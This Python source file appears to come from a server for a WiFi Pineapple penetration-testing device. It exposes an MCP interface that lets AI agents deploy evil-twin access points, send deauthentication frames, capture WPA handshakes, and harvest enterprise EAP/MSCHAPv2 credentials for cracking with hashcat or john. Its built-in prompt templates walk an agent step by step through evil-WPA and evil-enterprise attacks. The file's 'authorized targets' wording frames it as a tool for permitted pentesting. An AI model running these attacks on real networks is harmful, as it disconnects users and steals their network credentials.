STARTUP_CHECK_DELAY = 5
|
|
|
|
|
|
def _env_step(report, ok, detail, action=None):
|
|
step = {'ok': ok, 'detail': detail}
|
|
if action:
|
|
step['action'] = action
|
|
report.append(step)
|
|
|
|
|
|
def _env_overall(report):
|
|
if any(r['ok'] == 'fail' for r in report):
|
|
return 'fail'
|
|
if any(r['ok'] == 'fixed' for r in report):
|
|
return 'fixed'
|
|
if any(r['ok'] == 'warn' for r in report):
|
|
return 'warn'
|
|
return 'pass'
|
|
|
|
|
|
def _env_count(report, kind):
|
|
return sum(1 for r in report if r['ok'] == kind)
|
|
|
|
|
|
def _pineapd_alive():
|
|
rc, out, err = device_run(['pidof', 'pineapd'], timeout=10)
|
|
return rc == 0 and bool((out or '').strip())
|
|
|
|
|
|
def _daemon_alive():
|
|
"""Passive stock-daemon readiness check.
|
|
|
|
Even a config GET makes the stock daemon write to pineapd's command
|
|
socket on this firmware, which can trigger its watchdog. Process state is
|
|
the safe startup contract; functional API calls report their own failures.
|
|
"""
|
|
rc, out, err = device_run(['pidof', 'pineapple'], timeout=10)
|
|
return rc == 0 and bool((out or '').strip())
|
|
|
|
|
|
def _sync_pool_runtime():
|
|
"""Report pool-broadcast UCI without writing pineapd's socket or UCI.
|
|
|
|
Mark VIII must not flip broadcast or rewrite the SSID list on a live
|
|
pager; those writes race the stock daemon and destroy collected SSIDs.
|
|
"""
|
|
pool = _uci_section('pineapd.@ssidpool[0]')
|
|
if pool.get('disable') == '1':
|
|
return 'disabled', 'SSID-pool broadcast disabled by active configuration'
|
|
return 'unknown', 'SSID-pool disable setting is not active'
|
|
|
|
|
|
def _wlan0_pinned():
|
|
"""True when a radio0 AP (OpenAP/Evil WPA) is enabled. A phy's channel is
|
|
held by its AP interface, so an enabled radio0 AP pins wlan0mon to one
|
|
2.4GHz channel and 2.4GHz recon results are under-sampled."""
|
|
for name in ('wlan0open', 'wlan0wpa'):
|
|
cfg = _uci_wifi_iface(name) or {}
|
|
if cfg and cfg.get('disabled') != '1':
|
|
return True
|
|
return False
|
|
|
|
|
|
def _sta_uplink_enabled():
|
|
"""True when the stock dummy_radio0 STA client interface is enabled. The
|
|
STA holds phy0's channel, which pins wlan0mon and starves 2.4GHz recon
|
|
entirely (iw set channel fails with Resource busy while it is up)."""
|
|
cfg = _uci_values('wireless.dummy_radio0') or {}
|
|
return cfg.get('mode') == 'sta' and cfg.get('disabled') != '1'
|
|
|
|
|
|
def _disable_sta_uplink():
|
|
"""Disable the dummy_radio0 STA without bouncing the radios. The UCI flag
|
|
keeps it off across reboots/wifi reloads; taking wlan0 down immediately
|
|
frees phy0's channel for wlan0mon. Never runs `wifi reload` here — that
|
|
tears down live APs and drops the monitors mid-assessment."""
|
|
device_run(['uci', 'set', 'wireless.dummy_radio0.disabled=1'])
|
|
device_run(['uci', 'commit', 'wireless'])
|
|
for iface in ('wlan0',):
|
|
rc, out, err = device_run(['ip', 'link', 'set', iface, 'down'], timeout=10)
|
|
|
|
|
|
def env_check():
|
|
"""Full environment pass, run at service startup and via
|
|
``server.py --env-check``. Verifies core dependencies and repairs
|
|
monitors. Does **not** rewrite live PineAP or wireless UCI — doing so
|
|
(SSID pool, hopping, dummy_radio0) is what has forced factory resets.
|
|
Core dependencies (daemon, pineapd, monitors, recon DB) can fail."""
|
|
report = []
|
|
|
|
if not _daemon_alive():
|
|
_env_step(report, 'fail', 'daemon unreachable (process not running)')
|
|
else:
|
|
_env_step(report, 'pass', 'daemon reachable')
|
|
|
|
pineap_was_alive = _pineapd_alive()
|
|
pending = _pending_uci(PINEAPD_SAFE_UCI)
|
|
if not pineap_was_alive:
|
|
device_run(['/etc/init.d/pineapd', 'restart'], timeout=30)
|
|
if _pineapd_alive():
|
|
_env_step(report, 'fixed', 'pineapd was down; pineapd restarted')
|
|
else:
|
|
_env_step(report, 'fail', 'pineapd did not come back after restart')
|
|
else:
|
|
_env_step(report, 'pass', 'pineapd running')
|
|
|
|
if pending:
|
|
_env_step(
|
|
report, 'warn',
|
|
'live PineAP UCI left unchanged (sane-off defaults not applied on a running pineapd)',
|
|
', '.join(pending))
|
|
else:
|
|
_env_step(report, 'pass', 'pineapd sane-off UCI defaults already set')
|
|
|
|
pool_runtime, pool_detail = _sync_pool_runtime()
|
|
ENV_CHECK_STATE['pool_runtime'] = pool_runtime
|
|
if pool_runtime == 'disabled':
|
|
_env_step(report, 'pass', 'SSID-pool broadcast off (runtime)')
|
|
else:
|
|
_env_step(report, 'warn', pool_detail)
|
|
|
|
if _sta_uplink_enabled():
|
|
_env_step(report, 'warn',
|
|
'dummy_radio0 STA uplink is enabled and pins phy0; '
|
|
'recon parks wlan0 during scans (UCI left unchanged)')
|
|
else:
|
|
_env_step(report, 'pass', 'no STA uplink pinning phy0')
|
|
|
|
monitors_before = [
|
|
name for name in ('wlan0mon', 'wlan1mon') if _monitor_down(name)]
|
|
raised = _raise_monitors()
|
|
monitors_down = [
|
|
name for name in ('wlan0mon', 'wlan1mon') if _monitor_down(name)]
|
|
if monitors_down:
|
|
_env_step(report, 'fail', 'monitor interfaces unavailable after repair: %s' %
|
|
', '.join(monitors_down))
|
|
elif monitors_before:
|
|
_env_step(report, 'fixed', 'monitor interfaces brought up', ', '.join(raised))
|
|
else:
|
|
_env_step(report, 'pass', 'monitors up (wlan0mon, wlan1mon)')
|
|
|
|
try:
|
|
rows = _db_rows(RECON_DB, 'SELECT count(*) AS c FROM scan', timeout=15)
|
|
count = rows[0]['c'] if rows else 0
|
|
_env_step(report, 'pass', 'recon DB readable (%d scans)' % count)
|
|
except RuntimeError as exc:
|
|
_env_step(report, 'fail', 'recon DB unreadable: %s' % exc)
|
|
|
|
if _wlan0_pinned():
|
|
_env_step(report, 'warn', '2.4GHz under-sampled: a radio0 AP is up and pins '
|
|
'wlan0mon to one channel during scans')
|
|
else:
|
|
_env_step(report, 'pass', 'no radio0 AP pins wlan0mon')
|
|
|
|
ENV_CHECK_STATE['report'] = report
|
|
ENV_CHECK_STATE['overall'] = _env_overall(report)
|
|
ENV_CHECK_STATE['updated'] = time.time()
|
|
return report
|
|
|
|
|
|
def startup_env_check(attempts=STARTUP_CHECK_ATTEMPTS,
|
|
delay=STARTUP_CHECK_DELAY):
|
|
"""Run and print the startup contract, allowing boot dependencies time.
|
|
|
|
A failed core dependency must prevent the HTTP server from presenting a
|
|
healthy-looking UI. procd can then respawn it instead of leaving a broken
|
|
process bound to the port.
|
|
"""
|
|
last_report = []
|
|
for attempt in range(1, attempts + 1):
|
|
try:
|
|
last_report = env_check()
|
|
except Exception as exc:
|
|
last_report = []
|
|
ENV_CHECK_STATE['overall'] = 'fail'
|
|
print('[FAIL] environment check raised: %s' % exc, flush=True)
|
|
_print_env_report(last_report, flush=True)
|
|
if ENV_CHECK_STATE.get('overall') != 'fail':
|
|
print('ENVIRONMENT CHECK: %s' %
|
|
ENV_CHECK_STATE['overall'].upper(), flush=True)
|
|
return last_report
|
|
if attempt < attempts:
|
|
print('ENVIRONMENT CHECK: FAIL; retry %d/%d in %ds' %
|
|
(attempt + 1, attempts, delay), flush=True)
|
|
if LIVE_STOP.wait(delay):
|
|
raise RuntimeError('startup environment check interrupted')
|
|
raise RuntimeError('startup environment check failed after %d attempts' %
|
|
attempts)
|
|
|
|
|
|
def h_attacks_clients(ctx):
|
|
"""Clients (recon devices) plus the APs matching an SSID, for targeting."""
|
|
ssid = ((ctx.query or {}).get('ssid') or '').strip()
|
|
result = {'aps': [], 'clients': []}
|
|
rc, out, err = _pineap('RECON', 'ISEARCH', ssid, 'format=json', timeout=20)
|
|
if rc == 0:
|
|
try:
|
|
aps = json.loads(out.split('\n', 1)[-1] or out)
|
|
if isinstance(aps, list):
|
|
result['aps'] = aps
|
|
elif isinstance(aps, dict) and isinstance(aps.get('aps'), list):
|
|
result['aps'] = aps['aps']
|
|
except ValueError:
|
|
pass
|
|
rc, out, err = _pineap('RECON', 'DEVICES', 'limit=60', 'format=json', timeout=20)
|
|
if rc == 0:
|
|
try:
|
|
devs = json.loads(out.split('\n', 1)[-1] or out)
|
|
if isinstance(devs, list):
|
|
result['clients'] = devs
|
|
elif isinstance(devs, dict) and isinstance(devs.get('devices'), list):
|
|
result['clients'] = devs['devices']
|
|
except ValueError:
|
|
pass
|
|
return 200, result
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# Local Harness: MCP (Model Context Protocol) Streamable-HTTP server.
|
|
# Lets any agent (opencode, Claude, Cursor, pi.dev, ...) discover and drive
|
|
# the Pineapple's features with tools, resources and prompts.
|
|
# --------------------------------------------------------------------------
|
|
|
|
MCP_PROTOCOL = '2025-06-18'
|
|
|
|
RECON_URI = 'file:/root/recon/recon.db?mode=ro'
|
|
|
|
|
|
def _sql_table(table, limit=50, where=''):
|
|
clause = ('WHERE ' + where) if where else ''
|
|
rc, out, err = device_run(
|
|
['sqlite3', '-json', RECON_URI,
|
|
'SELECT * FROM %s %s ORDER BY time DESC LIMIT %d' % (table, clause, int(limit))],
|
|
timeout=25)
|
|
if rc != 0:
|
|
return []
|
|
try:
|
|
return json.loads(out or '[]')
|
|
except ValueError:
|
|
return []
|
|
|
|
|
|
def _mcp_auth(ctx):
|
|
if check_auth(ctx.h.headers.get('Cookie', '') or ''):
|
|
return True
|
|
auth = ctx.h.headers.get('Authorization', '') or ''
|
|
if auth.startswith('Bearer '):
|
|
token = auth[7:].strip()
|
|
try:
|
|
with open(SESSION_FILE) as f:
|
|
session = json.load(f)
|
|
return session.get('token') == token
|
|
except (OSError, ValueError):
|
|
return False
|
|
return False
|
|
|
|
|
|
def _mcp_tool(name, description, schema, fn):
|
|
return {'name': name, 'description': description,
|
|
'inputSchema': {'type': 'object', 'properties': schema}, 'fn': fn}
|
|
|
|
|
|
def _mcp_tools():
|
|
def deploy(args):
|
|
kind = (args.get('kind') or '').strip().lower()
|
|
if kind not in ('wpa', 'open', 'enterprise'):
|
|
return {'error': 'kind must be wpa, open or enterprise'}
|
|
try:
|
|
if kind == 'enterprise':
|
|
result = _deploy_enterprise(args)
|
|
else:
|
|
result = _deploy_wpa_open(kind, args)
|
|
except ValueError as exc:
|
|
return {'error': str(exc)}
|
|
except RuntimeError as exc:
|
|
return {'error': str(exc)}
|
|
update_pineap_state(mode='advanced', enabled=True, karma=True, collect=True)
|
|
result['ok'] = True
|
|
return result
|
|
|
|
def stop(args):
|
|
status, payload = h_attacks_stop(_Ctx_args(args))
|
|
return payload if status == 200 else {'error': payload.get('error', 'stop failed')}
|
|
|
|
def status(args):
|
|
_, payload = h_attacks_status(None)
|
|
return payload
|
|
|
|
def deauth(args):
|
|
status, payload = h_attacks_deauth(_Ctx_args(args))
|
|
return payload if status == 200 else {'error': payload.get('error', 'deauth failed')}
|
|
|
|
def capture(args):
|
|
status, payload = h_attacks_capture(_Ctx_args(args))
|
|
return payload if status == 200 else {'error': payload.get('error', 'capture failed')}
|
|
|
|
def export_hc(args):
|
|
status, payload = h_attacks_export_hc22000(None)
|
|
return payload if status == 200 else {'error': payload.get('error', 'export failed')}
|
|
|
|
def handshakes(args):
|
|
_, payload = h_handshakes_get(None)
|
|
return payload
|
|
|
|
def enterprise_creds(args):
|
|
return _enterprise_radius_payload()
|
|
|
|
def recon_aps(args):
|
|
return {'aps': _sql_table('ssid', args.get('limit', 50))}
|
|
|
|
def recon_isearch(args):
|
|
ssid = (args.get('ssid') or '').strip()
|
|
if not ssid:
|
|
return {'error': 'ssid required'}
|
|
return {'aps': _sql_table('ssid', 50, "CAST(ssid AS TEXT) LIKE '%%%s%%'" %
|
|
ssid.replace("'", "''"))}
|
|
|
|
def recon_devices(args):
|
|
return {'devices': _sql_table('wifi_device', args.get('limit', 50))}
|
|
|
|
def kick(args):
|
|
mac = normalize_mac(args.get('mac'))
|
|
if not mac:
|
|
return {'error': 'mac required'}
|
|
# This firmware's hak5cmd has no CLIENT_KICK command; mirror the web
|
|
# UI's kick: deny-filter the client (deauths every probe/connect) then
|
|
# deauth it once with the full (bssid, target, channel) form. The
|
|
# client must be associated first so a failed kick has no side effects.
|
|
if not _deauth_target(mac):
|
|
return {'ok': False, 'detail': 'client not associated', 'mac': mac}
|
|
ok = True
|
|
detail = ''
|
|
for argv in ([HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_MODE', 'deny'],
|
|
[HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', mac]):
|
|
rc, out, err = device_run(argv, timeout=20)
|
|
if rc != 0:
|
|
ok = False
|
|
detail = (err or out)[-300:]
|
|
break
|
|
if ok:
|
|
ok, detail = _deauth_client_via_iface(mac)
|
|
return {'ok': ok, 'detail': detail, 'mac': mac}
|
|
|
|
def set_filter(args):
|
|
kind = (args.get('kind') or 'ssid').strip()
|
|
if kind not in ('ssid', 'client'):
|
|
return {'error': 'kind must be ssid or client'}
|
|
action = (args.get('action') or '').strip()
|
|
payload = {'action': action}
|
|
if action in ('set_mode', 'add'):
|
|
payload['mode'] = (args.get('mode') or 'deny').strip()
|
|
if action == 'add':
|
|
payload['value'] = (args.get('value') or '').strip()
|
|
if not payload['value']:
|
|
return {'error': 'value required'}
|
|
elif action == 'delete':
|
|
payload['mode'] = (args.get('mode') or 'deny').strip()
|
|
payload['value'] = (args.get('value') or '').strip()
|
|
if not payload['value']:
|
|
return {'error': 'value required'}
|
|
elif action not in ('clear', 'allow_all'):
|
|
return {'error': 'action must be set_mode, add, delete, clear or allow_all'}
|
|
status, resp = h_filter_post(_Ctx_args(payload), kind)
|
|
return resp if status == 200 else {'error': resp.get('error', 'filter failed')}
|
|
|
|
def state(args):
|
|
_, mode = h_pineap_mode_get(None)
|
|
_, aps = h_pineap_wifi_get_ap(None)
|
|
_, health = h_health(None)
|
|
_, atk = h_attacks_status(None)
|
|
return {'mode': mode, 'aps': aps, 'health': health, 'attacks': atk,
|
|
'hop': _read_hop()}
|
|
|
|
return [
|
|
_mcp_tool('device.state', 'Full truth snapshot: PineAP mode, AP configs, health, attacks, hop state.',
|
|
{'detail': {'type': 'string'}}, state),
|
|
_mcp_tool('attack.deploy', 'Deploy an attack: kind=wpa|open|enterprise with ssid, passphrase (wpa), enctype, channel (band), hidden, bssid/country (open). Stops conflicting attacks, enables karma + handshake capture, verifies on device.',
|
|
{'kind': {'type': 'string', 'enum': ['wpa', 'open', 'enterprise']},
|
|
'ssid': {'type': 'string'},
|
|
'passphrase': {'type': 'string'},
|
|
'enctype': {'type': 'string', 'enum': ['psk2', 'sae', 'owe', 'wpa2', 'wpa3']},
|
|
'channel': {'type': 'number'},
|
|
'hidden': {'type': 'boolean'},
|
|
'bssid': {'type': 'string'},
|
|
'country': {'type': 'string'}}, deploy),
|
|
_mcp_tool('attack.stop', 'Stop an attack by kind (wpa|open|enterprise); disables APs and resumes hopping.',
|
|
{'kind': {'type': 'string', 'enum': ['wpa', 'open', 'enterprise']}}, stop),
|
|
_mcp_tool('attack.status', 'Live attack status: APs per band, live flag, handshake + enterprise credential counts.',
|
|
{}, status),
|
|
_mcp_tool('attack.deauth', 'Send deauth frames against an AP/client. Band-aware inject (wlan0mon for 2.4, wlan1mon for 5/6). Only against authorized targets.',
|
|
{'bssid': {'type': 'string'}, 'client': {'type': 'string'},
|
|
'channel': {'type': 'number'}}, deauth),
|
|
_mcp_tool('attack.capture', 'Start/stop/status a monitor pcap capture (iface wlan0mon|wlan1mon, action start|stop|status).',
|
|
{'iface': {'type': 'string', 'enum': ['wlan0mon', 'wlan1mon']},
|
|
'action': {'type': 'string', 'enum': ['start', 'stop', 'status']}}, capture),
|
|
_mcp_tool('attack.export_hc22000', 'Convert captured pcaps to a hashcat-ready .hc22000 file and return the hashcat command.',
|
|
{}, export_hc),
|
|
_mcp_tool('loot.handshakes', 'List captured WPA handshakes (files + parsed entries).',
|
|
{}, handshakes),
|
|
_mcp_tool('loot.enterprise_creds', 'PineAPE captured EAP/RADIUS-equivalent credentials: identities, MSCHAPv2 challenge/response, hashcat -m 5500 and john netntlm lines.',
|
|
{}, enterprise_creds),
|
|
_mcp_tool('recon.aps', 'Recent recon APs from the recon database.', {'limit': {'type': 'number'}}, recon_aps),
|
|
_mcp_tool('recon.isearch', 'Find APs matching an SSID in the recon database.', {'ssid': {'type': 'string'}}, recon_isearch),
|
|
_mcp_tool('recon.devices', 'Recent observed client devices from recon.', {'limit': {'type': 'number'}}, recon_devices),
|
|
_mcp_tool('pineap.kick_client', 'Disconnect a client from a PineAP/evil-twin AP.', {'mac': {'type': 'string'}}, kick),
|
|
_mcp_tool('pineap.set_filter', 'Set the SSID/client filter: action=set_mode (mode=deny|allow), add (mode, value), delete (mode, value), clear, or allow_all. Returns the current mode and entries.',
|
|
{'kind': {'type': 'string', 'enum': ['ssid', 'client']},
|
|
'action': {'type': 'string', 'enum': ['set_mode', 'add', 'delete', 'clear', 'allow_all']},
|
|
'mode': {'type': 'string', 'enum': ['allow', 'deny']},
|
|
'value': {'type': 'string'}}, set_filter),
|
|
]
|
|
|
|
|
|
def _Ctx_args(body):
|
|
return type('C', (), {'body': body, 'args': (), 'query': {}})()
|
|
|
|
|
|
def _mcp_resource_list():
|
|
res = [
|
|
{'uri': 'device://state', 'name': 'Device state snapshot', 'mimeType': 'application/json'},
|
|
{'uri': 'recon://aps', 'name': 'Recon access points', 'mimeType': 'application/json'},
|
|
{'uri': 'recon://devices', 'name': 'Recon client devices', 'mimeType': 'application/json'},
|
|
{'uri': 'recon://handshakes', 'name': 'Captured handshakes', 'mimeType': 'application/json'},
|
|
{'uri': 'recon://enterprise/basic', 'name': 'Enterprise EAP identities', 'mimeType': 'application/json'},
|
|
{'uri': 'recon://enterprise/challenge', 'name': 'Enterprise MSCHAPv2 challenge/response', 'mimeType': 'application/json'},
|
|
{'uri': 'recon://enterprise/radius', 'name': 'Unified EAP/RADIUS captures (hashcat + john)', 'mimeType': 'application/json'},
|
|
]
|
|
for name in ('pineapple-control', 'wifi-deauth', 'aircrack-suite'):
|
|
res.append({'uri': 'skills://%s' % name, 'name': 'Skill: %s' % name,
|
|
'mimeType': 'text/markdown'})
|
|
return res
|
|
|
|
|
|
def _mcp_resource_read(uri):
|
|
if uri == 'device://state':
|
|
_, mode = h_pineap_mode_get(None)
|
|
_, aps = h_pineap_wifi_get_ap(None)
|
|
_, health = h_health(None)
|
|
_, atk = h_attacks_status(None)
|
|
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
|
|
'text': json.dumps({'mode': mode, 'aps': aps,
|
|
'health': health, 'attacks': atk})}]}
|
|
if uri == 'recon://aps':
|
|
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
|
|
'text': json.dumps(_sql_table('ssid', 50))}]}
|
|
if uri == 'recon://devices':
|
|
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
|
|
'text': json.dumps(_sql_table('wifi_device', 50))}]}
|
|
if uri == 'recon://handshakes':
|
|
_, payload = h_handshakes_get(None)
|
|
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
|
|
'text': json.dumps(payload)}]}
|
|
if uri == 'recon://enterprise/basic':
|
|
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
|
|
'text': json.dumps(_enterprise_basic_rows(), default=_json_default)}]}
|
|
if uri == 'recon://enterprise/challenge':
|
|
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
|
|
'text': json.dumps(_enterprise_chalresp_rows(), default=_json_default)}]}
|
|
if uri == 'recon://enterprise/radius':
|
|
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
|
|
'text': json.dumps(_enterprise_radius_payload(), default=_json_default)}]}
|
|
if uri.startswith('skills://'):
|
|
name = uri[len('skills://'):]
|
|
path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'skills', '%s.md' % name)
|
|
if os.path.isfile(path):
|
|
with open(path, 'r') as f:
|
|
text = f.read()
|
|
return {'contents': [{'uri': uri, 'mimeType': 'text/markdown', 'text': text}]}
|
|
return None
|
|
return None
|
|
|
|
|
|
def _mcp_prompt_list():
|
|
return [
|
|
{'name': 'evil-wpa-attack', 'description': 'Deploy an Evil WPA (PSK) twin of a target SSID, capture a four-way handshake, and export it for hashcat.'},
|
|
{'name': 'evil-enterprise-attack', 'description': 'Serve a WPA2-Enterprise twin with PineAPE credential harvesting.'},
|
|
{'name': 'recon-survey', 'description': 'Survey the environment from the recon database.'},
|
|
]
|
|
|
|
|
|
def _mcp_prompt_get(name):
|
|
if name == 'evil-wpa-attack':
|
|
return {'description': 'Evil WPA (PSK) attack workflow',
|
|
'messages': [{'role': 'user', 'content': {'type': 'text',
|
|
'text': 'Plan: 1) recon.isearch for the target SSID to confirm it is authorized. 2) attack.deploy kind=wpa with the target ssid (passphrase is your choice; enctype psk2; 2.4GHz channels 1-11 or 5GHz 36-165). 3) attack.status until live. 4) Optionally attack.capture on the matching monitor to record raw frames, and attack.deauth against the target\'s clients. 5) Once a handshake appears in loot.handshakes, attack.export_hc22000 and run the returned hashcat command locally.'}}]}
|
|
if name == 'evil-enterprise-attack':
|
|
return {'description': 'Evil Enterprise (PineAPE) attack workflow',
|
|
'messages': [{'role': 'user', 'content': {'type': 'text',
|
|
'text': 'Plan: 1) recon.isearch the target SSID (authorized only). 2) attack.deploy kind=enterprise ssid=<target> enctype=wpa2 channel=36. 3) attack.status until live. 4) Monitor loot.enterprise_creds (or recon://enterprise/radius) for EAP identities and MSCHAPv2 challenge/response — the RADIUS inner-auth equivalent captured by PineAPE. Export hashcat -m 5500 / john --format=netntlm lines and crack offline. 5) attack.stop when done.'}}]}
|
|
if name == 'recon-survey':
|
|
return {'description': 'Recon survey',
|
|
'messages': [{'role': 'user', 'content': {'type': 'text',
|
|
'text': 'Plan: 1) device.state for the truth snapshot. 2) recon.aps to list recent networks. 3) recon.devices for observed clients. 4) Summarize: networks, bands, encryption, signal, and any target SSID the operator asked about.'}}]}
|
|
return None
|
|
|
|
|
|
def _mcp_dispatch(msg):
|
|
"""Handle one JSON-RPC MCP message. Returns (status, body)."""
|
|
if not isinstance(msg, dict) or msg.get('jsonrpc') != '2.0':
|
|
return 400, {'jsonrpc': '2.0', 'error': {'code': -32600, 'message': 'invalid JSON-RPC'}}
|
|
mid = msg.get('id')
|
|
method = msg.get('method') or ''
|
|
params = msg.get('params') or {}
|
|
if not method:
|
|
return 400, {'jsonrpc': '2.0', 'id': mid, 'error': {'code': -32600, 'message': 'method required'}}
|
|
|
|
def respond(result):
|
|
if mid is None:
|
|
return 202, None
|
|
return 200, {'jsonrpc': '2.0', 'id': mid, 'result': result}
|
|
|
|
def respond_error(code, message):
|
|
if mid is None:
|
|
return 202, None
|
|
return 200, {'jsonrpc': '2.0', 'id': mid, 'error': {'code': code, 'message': message}}
|
|
|
|
if method == 'initialize':
|
|
version = (params or {}).get('protocolVersion') or '2025-03-26'
|
|
return 200, {'jsonrpc': '2.0', 'id': mid, 'result': {
|
|
'protocolVersion': MCP_PROTOCOL,
|
|
'capabilities': {
|
|
'tools': {'listChanged': False},
|
|
'resources': {'listChanged': False, 'subscribe': False},
|
|
'prompts': {'listChanged': False},
|
|
},
|
|
'serverInfo': {'name': 'mark-viii', 'version': '1.3.2'}}}
|
|
if method == 'notifications/initialized':
|
|
return 202, None
|
|
if method == 'ping':
|
|
return respond({})
|
|
if method == 'tools/list':
|
|
return respond({'tools': [{'name': t['name'], 'description': t['description'],
|
|
'inputSchema': t['inputSchema']} for t in _mcp_tools()]})
|
|
if method == 'tools/call':
|
|
name = (params or {}).get('name') or ''
|
|
args = (params or {}).get('arguments') or {}
|
|
for t in _mcp_tools():
|
|
if t['name'] == name:
|
|
try:
|
|
result = t['fn'](args)
|
|
except Exception as exc:
|
|
return respond_error(-32603, 'tool error: %s' % exc)
|
|
if isinstance(result, dict) and 'error' in result:
|
|
return respond_error(-32602, result['error'])
|
|
return respond({'content': [{'type': 'text', 'text': json.dumps(result, indent=2, default=_json_default)}]})
|
|
return respond_error(-32602, 'unknown tool: %s' % name)
|
|
if method == 'resources/list':
|
|
return respond({'resources': _mcp_resource_list()})
|
|
if method == 'resources/read':
|
|
uri = (params or {}).get('uri') or ''
|
|
content = _mcp_resource_read(uri)
|
|
if content is None:
|
|
return respond_error(-32602, 'unknown resource: %s' % uri)
|
|
return respond(content)
|
|
if method == 'prompts/list':
|
|
return respond({'prompts': _mcp_prompt_list()})
|
|
if method == 'prompts/get':
|
|
name = (params or {}).get('name') or ''
|
|
content = _mcp_prompt_get(name)
|
|
if content is None:
|
|
return respond_error(-32602, 'unknown prompt: %s' % name)
|
|
return respond(content)
|
|
return respond_error(-32601, 'method not found: %s' % method)
|
|
|
|
|
|
def h_mcp(ctx):
|
|
if not _mcp_auth(ctx):
|
|
return 401, {'jsonrpc': '2.0', 'error': {'code': -32001, 'message': 'unauthorized'}}
|
|
body = ctx.body
|
|
if body is None:
|
|
return 400, {'jsonrpc': '2.0', 'error': {'code': -32700, 'message': 'parse error'}}
|
|
return _mcp_dispatch(body)
|
|
|
|
|
|
def h_harness_capabilities(ctx):
|
|
tools = [{'name': t['name'], 'description': t['description'],
|
|
'inputSchema': t['inputSchema']} for t in _mcp_tools()]
|
|
return 200, {
|
|
'endpoint': '/mcp',
|
|
'protocol': MCP_PROTOCOL,
|
|
'transport': 'Streamable HTTP (POST application/json)',
|
|
'auth': 'session cookie (browser) or Authorization: Bearer <daemon token>',
|
|
'tools': tools,
|
|
'resources': _mcp_resource_list(),
|
|
'prompts': _mcp_prompt_list(),
|
|
'skills': ['pineapple-control', 'wifi-deauth', 'aircrack-suite'],
|
|
}
|
|
|
|
|
|
def h_harness_token(ctx):
|
|
try:
|
|
with open(SESSION_FILE) as f:
|
|
session = json.load(f)
|
|
return 200, {'token': session.get('token', ''), 'serverid': session.get('serverid', '')}
|
|
except (OSError, ValueError):
|
|
return 200, {'token': '', 'serverid': ''}
|
|
|
|
|
|
def hak5(*args, timeout=30, check=True):
|
|
last = (1, '', 'hak5cmd failed')
|
|
attempts = max(1, HAK5_RETRIES + 1)
|
|
with _pineapd_cmd_lock:
|
|
for attempt in range(attempts):
|
|
rc, out, err = device_run([HAK5CMD] + list(args), timeout=timeout)
|
|
blended = '%s\n%s' % (out or '', err or '')
|
|
# hak5cmd sometimes exits 0 while printing ERROR: (5 GHz channel).
|
|
if rc == 0 and 'ERROR:' not in blended:
|
|
return out
|
|
last = (rc if rc else 1, out, err or blended)
|
|
if attempt + 1 < attempts and HAK5_RETRY_SLEEP:
|
|
time.sleep(HAK5_RETRY_SLEEP * (attempt + 1))
|
|
if check:
|
|
raise RuntimeError((last[2] or last[1] or 'hak5cmd failed').strip()[-300:])
|
|
return last[1]
|
|
|
|
|
|
def _json_or(text):
|
|
text = (text or '').strip()
|
|
if text.startswith('{') or text.startswith('['):
|
|
try:
|
|
return json.loads(text)
|
|
except ValueError:
|
|
return None
|
|
return None
|
|
|
|
|
|
def _parse_pool_list(text):
|
|
text = text or ''
|
|
obj = _json_or(text)
|
|
if isinstance(obj, dict) and 'ssids' in obj:
|
|
return [str(s) for s in obj['ssids']]
|
|
if isinstance(obj, list):
|
|
return [str(s) for s in obj]
|
|
out = []
|
|
for line in text.splitlines():
|
|
line = line.strip().strip('"')
|
|
low = line.lower()
|
|
if not line:
|
|
continue
|
|
if low in ('ssid', 'ssids') or low.startswith('ssid pool') or low.startswith('no '):
|
|
continue
|
|
out.append(line)
|
|
return out
|
|
|
|
|
|
def h_ssids_get(ctx):
|
|
try:
|
|
return 200, {'ssids': _parse_pool_list(hak5('PINEAPPLE_SSID_POOL_LIST'))}
|
|
except RuntimeError as exc:
|
|
return 502, {'error': 'ssid pool unavailable', 'detail': str(exc), 'ssids': []}
|
|
|
|
|
|
def h_ssids_post(ctx):
|
|
body = ctx.body or {}
|
|
action = body.get('action')
|
|
try:
|
|
if action == 'add':
|
|
ssid = (body.get('ssid') or '').strip()
|
|
if not ssid:
|
|
return 400, {'error': 'ssid required'}
|
|
hak5('PINEAPPLE_SSID_POOL_ADD', ssid)
|
|
elif action == 'remove':
|
|
hak5('PINEAPPLE_SSID_POOL_DELETE', (body.get('ssid') or '').strip())
|
|
elif action == 'clear':
|
|
hak5('PINEAPPLE_SSID_POOL_CLEAR')
|
|
else:
|
|
return 400, {'error': 'unknown action'}
|
|
return 200, {'ssids': _parse_pool_list(hak5('PINEAPPLE_SSID_POOL_LIST'))}
|
|
except RuntimeError as exc:
|
|
return 502, {'error': 'ssid pool update failed', 'detail': str(exc)}
|
|
|
|
|
|
FILTER_DAEMON = {
|
|
'client': ('macfilter/get_config', 'macfilter/set_mode', 'PINEAPPLE_DEVICE_FILTER'),
|
|
'ssid': ('ssidfilter/get_config', 'ssidfilter/set_config', 'PINEAPPLE_NETWORK_FILTER'),
|
|
}
|
|
|
|
|
|
def _parse_filter_mode(text):
|
|
text = (text or '').strip().lower()
|
|
obj = _json_or(text)
|
|
if isinstance(obj, dict):
|
|
mode = str(obj.get('mode') or '').lower()
|
|
if mode in ('allow', 'deny'):
|
|
return mode
|
|
if re.search(r'\ballow\b', text):
|
|
return 'allow'
|
|
if re.search(r'\bdeny\b', text):
|
|
return 'deny'
|
|
return None
|
|
|
|
|
|
def _parse_filter_list(text):
|
|
obj = _json_or(text)
|
|
if isinstance(obj, dict):
|
|
for key in ('ssids', 'macs', 'entries', 'list', 'denied', 'allowed'):
|
|
if isinstance(obj.get(key), list):
|
|
return [str(item) for item in obj[key]]
|
|
if isinstance(obj, list):
|
|
return [str(item) for item in obj]
|
|
return _parse_pool_list(text or '')
|
|
|
|
|
|
def _first_present(data, keys):
|
|
for key in keys:
|
|
if key in data and data[key] is not None:
|
|
return data[key]
|
|
return []
|
|
|
|
|
|
def _filter_payload_from_daemon(kind, data):
|
|
mode = data.get('mode') or 'allow'
|
|
